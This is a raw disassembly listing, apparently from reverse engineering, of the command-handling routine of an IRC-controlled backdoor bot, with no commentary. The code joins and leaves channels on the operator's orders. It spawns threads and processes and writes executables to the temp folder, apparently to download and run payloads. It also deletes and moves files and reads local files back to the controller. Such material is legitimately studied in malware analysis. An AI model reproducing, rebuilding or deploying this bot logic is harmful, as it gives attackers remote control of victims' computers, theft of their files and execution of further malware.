lea eax, [ebp+var_1524]
push edi
push eax
call sub_41B1F0
push [ebp+arg_18]
call sub_41B3F0
push 3Fh
mov [ebp+var_13D4], eax
push [ebp+arg_0]
lea eax, [ebp+var_14A4]
push eax
call sub_41B1F0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407A4F
push 3Fh
lea eax, [ebp+var_1464]
push esi
push eax
call sub_41B1F0
add esp, 0Ch
loc_407A4F: ; CODE XREF: sub_401CC1+5D7Aj
lea eax, [ebp+var_14A4]
mov [ebp+var_13D0], 1
push eax
lea eax, [ebp+var_1524]
push [ebp+var_13D4]
push eax
lea eax, [ebp+var_2C0]
push offset dword_443DC8
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 1Fh
push eax
call sub_40A7FD
add esp, 20h
mov [ebp+var_13CC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1528]
push ebx
push eax
push offset sub_4019E1
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_13CC]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_407ADB
loc_407AC5: ; CODE XREF: sub_401CC1+5E18j
cmp [ebp+var_13C8], ebx
jnz loc_406693
push 32h
call dword_4F1334 ; Sleep
jmp short loc_407AC5
; ---------------------------------------------------------------------------
loc_407ADB: ; CODE XREF: sub_401CC1+5E02j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset dword_443DF8
jmp loc_406684
; ---------------------------------------------------------------------------
loc_407AEC: ; CODE XREF: sub_401CC1+4344j
; sub_401CC1+435Bj
push [ebp+arg_18]
call sub_41B3F0
cmp eax, ebx
pop ecx
mov [ebp+var_17A8], eax
jle loc_407BD9
mov esi, 80h
push edi
lea eax, [ebp+var_1930]
push esi
push eax
call sub_41B910
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_17A4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1934], eax
lea eax, [ebp+var_1830]
push esi
push eax
call sub_41B910
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_17A0], eax
mov eax, [ebp+var_8]
mov [ebp+var_179C], eax
push edi
push offset unk_443D20
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41B910
push ebx
lea eax, [ebp+var_2C0]
push 15h
push eax
call sub_40A7FD
add esp, 38h
mov [ebp+var_17B0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1934]
push ebx
push eax
push offset sub_41226E
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_17B0]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_407BC8
loc_407BB6: ; CODE XREF: sub_401CC1+5F05j
cmp [ebp+var_1798], ebx
jnz short loc_407C2F
push 32h
call dword_4F1334 ; Sleep
jmp short loc_407BB6
; ---------------------------------------------------------------------------
loc_407BC8: ; CODE XREF: sub_401CC1+5EF3j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_443D4C
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_407BD9: ; CODE XREF: sub_401CC1+5E3Cj
push offset unk_443D84
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_407BE3: ; CODE XREF: sub_401CC1+4316j
; sub_401CC1+432Dj
push [ebp+arg_18]
push edi
call dword_4F1370 ; MoveFileA
test eax, eax
jz short loc_407C10
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push edi
push offset unk_443CDC
push 200h
push eax
call sub_41B910
loc_407C0B: ; CODE XREF: sub_401CC1+213Bj
add esp, 14h
jmp short loc_407C2F
; ---------------------------------------------------------------------------
loc_407C10: ; CODE XREF: sub_401CC1+5F2Ej
push offset dword_443D00
call sub_415ECC
push eax
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41B910
add esp, 10h
loc_407C2F: ; CODE XREF: sub_401CC1+1C6Ej
; sub_401CC1+291Aj ...
cmp [ebp+var_8], ebx
jnz short loc_407C50
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_407C48: ; CODE XREF: sub_401CC1+4F88j
call sub_408EB9
add esp, 14h
loc_407C50: ; CODE XREF: sub_401CC1+1375j
; sub_401CC1+1E0Ej ...
push 1
pop esi
jmp loc_4066B7
; ---------------------------------------------------------------------------
loc_407C58: ; CODE XREF: sub_401CC1+42E8j
; sub_401CC1+42FFj
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41B190
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41B3F0
add esp, 10h
cmp eax, esi
jnz short loc_407C95
mov [ebp+var_638], 5
loc_407C95: ; CODE XREF: sub_401CC1+5FC9j
cmp [ebp+var_C], ebx
jz loc_406693
push [ebp+arg_18]
push [ebp+var_C]
call sub_41B890
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406693
lea eax, [ebp+var_C84]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_4F1328 ; CreateProcessA
test eax, eax
jnz short loc_407CE0
push offset unk_443C90
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_407CE0: ; CODE XREF: sub_401CC1+6013j
push edi
push offset dword_443CB4
jmp loc_406684
; ---------------------------------------------------------------------------
loc_407CEB: ; CODE XREF: sub_401CC1+42BAj
; sub_401CC1+42D1j
push [ebp+arg_18]
push offset aK333yx ; "k333yx"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_407E5C
lea eax, [ebp+var_4454]
push eax
push 104h
call dword_4F136C ; GetTempPathA
push 0FFh
lea eax, [ebp+var_1E80]
push edi
push eax
call sub_41B1F0
lea eax, [ebp+var_157C]
push eax
call sub_40A1DC
push eax
lea eax, [ebp+var_4454]
push eax
lea eax, [ebp+var_1D80]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41B740
mov eax, [ebp+esi+var_84]
add esp, 20h
cmp eax, ebx
mov [ebp+var_1C7C], 1
mov [ebp+var_1C78], ebx
jz short loc_407D7D
push 10h
push ebx
push eax
call sub_41C130
add esp, 0Ch
mov [ebp+var_1C70], eax
jmp short loc_407D83
; ---------------------------------------------------------------------------
loc_407D7D: ; CODE XREF: sub_401CC1+60A6j
mov [ebp+var_1C70], ebx
loc_407D83: ; CODE XREF: sub_401CC1+60BAj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_407D9A
push esi
call sub_41B3F0
pop ecx
mov [ebp+var_1C74], eax
jmp short loc_407DA0
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401CC1+60C8j
mov [ebp+var_1C74], ebx
loc_407DA0: ; CODE XREF: sub_401CC1+60D7j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_1C6C], eax
lea eax, [ebp+var_1F00]
mov [ebp+var_1F04], esi
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push edi
mov [ebp+var_1C64], eax
mov eax, [ebp+var_8]
mov [ebp+var_1C68], eax
lea eax, [ebp+var_2C0]
push offset dword_443BD4
push eax
call sub_41B740
push esi
lea eax, [ebp+var_2C0]
push 1Eh
push eax
call sub_40A7FD
add esp, 24h
mov [ebp+var_1C80], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1F04]
push ebx
push eax
push offset sub_414A1D
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_1C80]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_407E4B
loc_407E35: ; CODE XREF: sub_401CC1+6188j
cmp [ebp+var_1C60], ebx
jnz loc_406693
push 32h
call dword_4F1334 ; Sleep
jmp short loc_407E35
; ---------------------------------------------------------------------------
loc_407E4B: ; CODE XREF: sub_401CC1+6172j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset dword_443C00
jmp loc_406684
; ---------------------------------------------------------------------------
loc_407E5C: ; CODE XREF: sub_401CC1+603Bj
push offset dword_443C3C
loc_407E61: ; CODE XREF: sub_401CC1+28D0j
; sub_401CC1+3CF7j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
pop ecx
pop ecx
jmp loc_406693
; ---------------------------------------------------------------------------
loc_407E74: ; CODE XREF: sub_401CC1+428Cj
; sub_401CC1+42A3j
push [ebp+var_8C]
push offset a332_0 ; "332"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40207C
cmp [ebp+var_C], ebx
jz loc_40207C
push [ebp+arg_18]
push [ebp+var_C]
call sub_41B890
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B1F0
push edi
call sub_41B3F0
add esp, 30h
test eax, eax
jle short loc_407EFB
push edi
call sub_41B3F0
imul eax, 3E8h
pop ecx
push eax
call dword_4F1334 ; Sleep
loc_407EFB: ; CODE XREF: sub_401CC1+6224j
push offset dword_443BA4
call sub_41458A
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40207F
; ---------------------------------------------------------------------------
loc_407F0F: ; CODE XREF: sub_401CC1+425Ej
; sub_401CC1+4275j
push [ebp+var_8C]
push offset a332_1 ; "332"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40207C
cmp [ebp+var_C], ebx
jz loc_408CA1
push [ebp+arg_18]
push [ebp+var_C]
call sub_41B890
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat_0 ; "repeat"
push eax
call sub_41C4C0
add esp, 10h
test eax, eax
push esi
jz short loc_407FCB
push [ebp+var_88]
lea eax, [ebp+var_2C0]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS_0 ; "%s %s %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B1F0
push esi
lea eax, [ebp+var_2C0]
push offset dword_443B38
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
push edi
call sub_41B3F0
add esp, 38h
test eax, eax
jle loc_408CA1
push edi
call sub_41B3F0
add eax, [ebp+arg_24]
pop ecx
jmp loc_40207F
; ---------------------------------------------------------------------------
loc_407FCB: ; CODE XREF: sub_401CC1+6293j
lea eax, [ebp+var_2C0]
push offset unk_443B50
push eax
call sub_41B740
add esp, 0Ch
jmp loc_408772
; ---------------------------------------------------------------------------
loc_407FE4: ; CODE XREF: sub_401CC1+4230j
; sub_401CC1+4247j
push 7Fh
lea eax, [ebp+var_1C58]
push edi
push eax
call sub_41B1F0
push 7Fh
lea eax, [ebp+var_1BD8]
push [ebp+arg_18]
push eax
call sub_41B1F0
push 7Fh
lea eax, [ebp+var_1B58]
push [ebp+var_88]
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov esi, [ebp+arg_4]
mov [ebp+var_1AD4], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1AD0], eax
lea eax, [ebp+var_2C0]
push offset unk_443AA0
push eax
mov [ebp+var_1C5C], esi
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 0Fh
push eax
call sub_40A7FD
add esp, 40h
mov [ebp+var_1AD8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C5C]
push ebx
push eax
push offset sub_413794
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_1AD8]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4080A1
loc_40808F: ; CODE XREF: sub_401CC1+63DEj
cmp [ebp+var_1ACC], ebx
jnz short loc_4080BC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40808F
; ---------------------------------------------------------------------------
loc_4080A1: ; CODE XREF: sub_401CC1+63CCj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_443AD4
loc_4080AD: ; CODE XREF: sub_401CC1+64E8j
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 0Ch
loc_4080BC: ; CODE XREF: sub_401CC1+63D4j
; sub_401CC1+64CCj
cmp [ebp+var_8], ebx
jnz loc_408AA8
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_408AA0
; ---------------------------------------------------------------------------
loc_4080DC: ; CODE XREF: sub_401CC1+4202j
; sub_401CC1+4219j
push 7Fh
lea eax, [ebp+var_1AC4]
push edi
push eax
call sub_41B1F0
push 7Fh
lea eax, [ebp+var_1A44]
push [ebp+arg_18]
push eax
call sub_41B1F0
push 7Fh
lea eax, [ebp+var_19C4]
push [ebp+var_88]
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov esi, [ebp+arg_4]
mov [ebp+var_1940], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_193C], eax
lea eax, [ebp+var_2C0]
push offset dword_443A2C
push eax
mov [ebp+var_1AC8], esi
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 11h
push eax
call sub_40A7FD
add esp, 40h
mov [ebp+var_1944], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1AC8]
push ebx
push eax
push offset sub_412F42
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_1944]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40819D
loc_408187: ; CODE XREF: sub_401CC1+64DAj
cmp [ebp+var_1938], ebx
jnz loc_4080BC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_408187
; ---------------------------------------------------------------------------
loc_40819D: ; CODE XREF: sub_401CC1+64C4j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset dword_443A58
jmp loc_4080AD
; ---------------------------------------------------------------------------
loc_4081AE: ; CODE XREF: sub_401CC1+41D4j
; sub_401CC1+41EBj
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push offset aPartS_0 ; "PART %s"
push eax
call sub_41B740
push edi
call sub_41B3F0
add esp, 10h
test eax, eax
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
lea eax, [ebp+var_2C0]
push eax
push offset aS_12 ; "%s\r\n"
loc_4081F1: ; CODE XREF: sub_401CC1+6597j
; sub_401CC1+6CDEj
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call sub_408E73
jmp loc_404584
; ---------------------------------------------------------------------------
loc_40820E: ; CODE XREF: sub_401CC1+41A6j
; sub_401CC1+41BDj
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push [ebp+arg_18]
push offset aJoinSS_1 ; "JOIN %s %s"
push eax
call sub_41B740
push edi
call sub_41B3F0
add esp, 14h
test eax, eax
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
lea eax, [ebp+var_2C0]
push eax
push offset aS_13 ; "%s\r\n"
jmp short loc_4081F1
; ---------------------------------------------------------------------------
loc_40825A: ; CODE XREF: sub_401CC1+4178j
; sub_401CC1+418Fj
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push offset aNickS_4 ; "NICK %s"
push eax
call sub_41B740
push edi
call sub_41B3F0
add esp, 10h
test eax, eax
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
lea eax, [ebp+var_2C0]
push eax
push offset aS_14 ; "%s\r\n"
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call sub_408E73
push [ebp+arg_18]
push edi
push offset dword_4439C8
loc_4082BE: ; CODE XREF: sub_401CC1+6684j
; sub_401CC1+66EFj ...
call sub_4145FE
jmp loc_403FBB
; ---------------------------------------------------------------------------
loc_4082C8: ; CODE XREF: sub_401CC1+414Aj
; sub_401CC1+4161j
cmp [ebp+var_C], ebx
jz loc_408CA1
push [ebp+arg_18]
push [ebp+var_C]
call sub_41B890
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4082F9
push esi
lea eax, [ebp+var_2C0]
push offset aModeS ; "MODE %s"
push eax
call sub_41B740
add esp, 0Ch
loc_4082F9: ; CODE XREF: sub_401CC1+6621j
push edi
call sub_41B3F0
test eax, eax
pop ecx
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
lea eax, [ebp+var_2C0]
push eax
push offset aS_15 ; "%s\r\n"
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call sub_408E73
push esi
push edi
push offset dword_443990
jmp loc_4082BE
; ---------------------------------------------------------------------------
loc_40834A: ; CODE XREF: sub_401CC1+411Cj
; sub_401CC1+4133j
cmp [ebp+var_C], ebx
jz loc_408CA1
push [ebp+arg_18]
push [ebp+var_C]
call sub_41B890
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_408CA1
push edi
call sub_41B3F0
test eax, eax
pop ecx
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
push esi
push offset aS_16 ; "%s\r\n"
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call sub_408E73
push esi
push edi
push offset dword_443958
jmp loc_4082BE
; ---------------------------------------------------------------------------
loc_4083B5: ; CODE XREF: sub_401CC1+40EEj
; sub_401CC1+4105j
cmp [ebp+var_C], ebx
jz loc_408CA1
push edi
push [ebp+var_C]
call sub_41B890
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_408CA1
push esi
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_408E73
push esi
push offset unk_443928
loc_4083E7: ; CODE XREF: sub_401CC1+6EBEj
; sub_401CC1+6ED7j ...
call sub_4145FE
jmp loc_403394
; ---------------------------------------------------------------------------
loc_4083F1: ; CODE XREF: sub_401CC1+40C0j
; sub_401CC1+40D7j
push [ebp+var_8C]
push offset a332_2 ; "332"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40207C
push [ebp+arg_18]
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_408E73
push edi
call sub_41B3F0
imul eax, 3E8h
add esp, 10h
push eax
call dword_4F1334 ; Sleep
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS_2 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_408E73
push offset dword_4438FC
call sub_41458A
jmp loc_403394
; ---------------------------------------------------------------------------
loc_408457: ; CODE XREF: sub_401CC1+4092j
; sub_401CC1+40A9j
cmp [ebp+var_C], ebx
jz loc_408CA1
push edi
call sub_418D00
push [ebp+arg_10]
mov esi, eax
call sub_418D00
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41B890
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_408CA1
push esi
lea eax, [ebp+var_2C0]
push offset dword_4438A8
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_408EB9
push esi
push edi
push offset unk_4438B4
call sub_4145FE
add esp, 2Ch
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_4084C5: ; CODE XREF: sub_401CC1+4064j
; sub_401CC1+407Bj
cmp [ebp+var_C], ebx
jz loc_408CA1
push edi
call sub_418D00
push [ebp+arg_10]
mov esi, eax
call sub_418D00
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41B890
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_408CA1
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_408EB9
push esi
push edi
push offset unk_44387C
call sub_4145FE
add esp, 20h
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_40851B: ; CODE XREF: sub_401CC1+4036j
; sub_401CC1+404Dj
cmp [ebp+var_C], ebx
jz loc_40207C
push [ebp+arg_18]
push [ebp+var_C]
call sub_41B890
pop ecx
cmp eax, ebx
pop ecx
jz loc_40207C
push eax
push edi
call sub_414492
push edi
lea eax, [ebp+var_2C0]
push offset unk_443850
push eax
call sub_41B740
add esp, 14h
jmp loc_408A87
; ---------------------------------------------------------------------------
loc_40855A: ; CODE XREF: sub_401CC1+4008j
; sub_401CC1+401Fj
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4162E2
jmp loc_403E2D
; ---------------------------------------------------------------------------
loc_408574: ; CODE XREF: sub_401CC1+3FC8j
; sub_401CC1+3FDFj
push edi
push [ebp+arg_1C]
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz loc_408CA1
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_408611
push esi
push [ebp+var_C]
call sub_41B890
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4085F9
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS_1 ; "%s %s %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B1F0
push esi
push edi
lea eax, [ebp+var_2C0]
push offset unk_4437C0
push eax
call sub_41B740
add esp, 34h
inc [ebp+arg_24]
jmp loc_408793
; ---------------------------------------------------------------------------
loc_4085F9: ; CODE XREF: sub_401CC1+68E0j
lea eax, [ebp+var_2C0]
push offset unk_4437E8
push eax
call sub_41B740
pop ecx
pop ecx
jmp loc_408793
; ---------------------------------------------------------------------------
loc_408611: ; CODE XREF: sub_401CC1+68CFj
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_418C2F
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
push edi
push offset dword_443818
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41B910
add esp, 24h
jmp loc_408793
; ---------------------------------------------------------------------------
loc_408658: ; CODE XREF: sub_401CC1+3A8Ej
; sub_401CC1+3AA5j
push offset aR_0 ; "r"
push edi
call sub_41B170
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4086D2
mov ebx, 200h
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
call sub_41BC90
add esp, 0Ch
loc_408681: ; CODE XREF: sub_401CC1+69EFj
test eax, eax
jz short loc_4086B2
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
call sub_41BC90
add esp, 20h
jmp short loc_408681
; ---------------------------------------------------------------------------
loc_4086B2: ; CODE XREF: sub_401CC1+69C2j
push esi
call sub_418D80
push edi
lea eax, [ebp+var_2C0]
push offset unk_4433B4
push eax
call sub_41B740
add esp, 10h
jmp loc_4066B4
; ---------------------------------------------------------------------------
loc_4086D2: ; CODE XREF: sub_401CC1+69A8j
push edi
push offset unk_4433D8
jmp loc_406684
; ---------------------------------------------------------------------------
loc_4086DD: ; CODE XREF: sub_401CC1+3A60j
; sub_401CC1+3A77j
cmp [ebp+var_C], ebx
jz loc_408CA1
push edi
push [ebp+var_C]
call sub_41B890
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_408CA1
push offset dword_443358
push esi
call sub_41C310
push esi
call sub_417985
add esp, 0Ch
test eax, eax
jnz short loc_40871A
push offset unk_44335C
jmp short loc_408764
; ---------------------------------------------------------------------------
loc_40871A: ; CODE XREF: sub_401CC1+6A50j
push esi
lea eax, [ebp+var_2C0]
push offset dword_443388
push eax
call sub_41B740
add esp, 0Ch
jmp short loc_408793
; ---------------------------------------------------------------------------
loc_408731: ; CODE XREF: sub_401CC1+3A32j
; sub_401CC1+3A49j
cmp [ebp+var_C], ebx
jz loc_408CA1
push edi
push [ebp+var_C]
call sub_41B890
pop ecx
cmp eax, ebx
pop ecx
jz loc_408CA1
push eax
call sub_415F91
test eax, eax
pop ecx
jnz short loc_40875F
push offset unk_443314
jmp short loc_408764
; ---------------------------------------------------------------------------
loc_40875F: ; CODE XREF: sub_401CC1+6A95j
push offset dword_443334
loc_408764: ; CODE XREF: sub_401CC1+6A57j
; sub_401CC1+6A9Cj
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
pop ecx
pop ecx
loc_408772: ; CODE XREF: sub_401CC1+631Ej
cmp [ebp+var_8], ebx
jnz short loc_408793
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_408793: ; CODE XREF: sub_401CC1+6933j
; sub_401CC1+694Bj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
pop ecx
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_4087A5: ; CODE XREF: sub_401CC1+3A04j
; sub_401CC1+3A1Bj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_40F483
push edi
push offset dword_4432EC
jmp loc_4082BE
; ---------------------------------------------------------------------------
loc_4087C0: ; CODE XREF: sub_401CC1+39D6j
; sub_401CC1+39EDj
push edi
call dword_4F133C ; DeleteFileA
test eax, eax
jz short loc_4087D3
push edi
push offset dword_4432B8
jmp short loc_4087DE
; ---------------------------------------------------------------------------
loc_4087D3: ; CODE XREF: sub_401CC1+6B08j
push offset dword_4432D4
call sub_415ECC
push eax
loc_4087DE: ; CODE XREF: sub_401CC1+6B10j
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41B910
jmp loc_4088B6
; ---------------------------------------------------------------------------
loc_4087F4: ; CODE XREF: sub_401CC1+39A8j
; sub_401CC1+39BFj
push edi
call sub_41B3F0
push eax
call sub_4178FE
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_408811
push offset unk_443258
jmp short loc_408816
; ---------------------------------------------------------------------------
loc_408811: ; CODE XREF: sub_401CC1+6B47j
push offset unk_44327C
loc_408816: ; CODE XREF: sub_401CC1+6B4Ej
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_4066B7
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
jmp loc_4066B7
; ---------------------------------------------------------------------------
loc_40884F: ; CODE XREF: sub_401CC1+397Aj
; sub_401CC1+3991j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4175DD
add esp, 18h
cmp eax, 1
push edi
jnz short loc_408871
push offset unk_4431FC
jmp loc_406684
; ---------------------------------------------------------------------------
loc_408871: ; CODE XREF: sub_401CC1+6BA4j
push offset unk_44321C
jmp loc_406684
; ---------------------------------------------------------------------------
loc_40887B: ; CODE XREF: sub_401CC1+394Cj
; sub_401CC1+3963j
push edi
call dword_4E08DC
cmp eax, 0FFFFFFFFh
mov [ebp+var_2CC], eax
jz short loc_4088BE
push 2
lea eax, [ebp+var_2CC]
push 4
push eax
call dword_4E085C
cmp eax, ebx
jz short loc_4088DF
push dword ptr [eax]
push edi
push offset unk_443184
loc_4088AA: ; CODE XREF: sub_401CC1+6C1Cj
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
loc_4088B6: ; CODE XREF: sub_401CC1+6B2Ej
add esp, 10h
jmp loc_406693
; ---------------------------------------------------------------------------
loc_4088BE: ; CODE XREF: sub_401CC1+6BCAj
push edi
call dword_4E0920
cmp eax, ebx
jz short loc_4088DF
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4E0928
push eax
push edi
push offset unk_4431A4
jmp short loc_4088AA
; ---------------------------------------------------------------------------
loc_4088DF: ; CODE XREF: sub_401CC1+6BDFj
; sub_401CC1+6C06j
push offset unk_4431C4
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_4088E9: ; CODE XREF: sub_401CC1+391Ej
; sub_401CC1+3935j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41B1F0
push edi
lea eax, [ebp+var_2C0]
push offset unk_443154
push eax
call sub_41B740
add esp, 18h
jmp loc_407C2F
; ---------------------------------------------------------------------------
loc_40890E: ; CODE XREF: sub_401CC1+38F0j
; sub_401CC1+3907j
push 5
push ebx
push ebx
push edi
push offset aOpen_1 ; "open"
push ebx
call dword_4E0818
test eax, eax
push edi
jz short loc_40892E
push offset unk_443104
jmp loc_406684
; ---------------------------------------------------------------------------
loc_40892E: ; CODE XREF: sub_401CC1+6C61j
push offset unk_443124
jmp loc_406684
; ---------------------------------------------------------------------------
loc_408938: ; CODE XREF: sub_401CC1+38C2j
; sub_401CC1+38D9j
mov al, [edi]
mov byte_43A094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_4430C8
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_40894D: ; CODE XREF: sub_401CC1+3894j
; sub_401CC1+38ABj
push edi
call sub_41B3F0
test eax, eax
pop ecx
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40A4F6
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_5 ; "NICK %s"
push eax
call sub_41B740
add esp, 1Ch
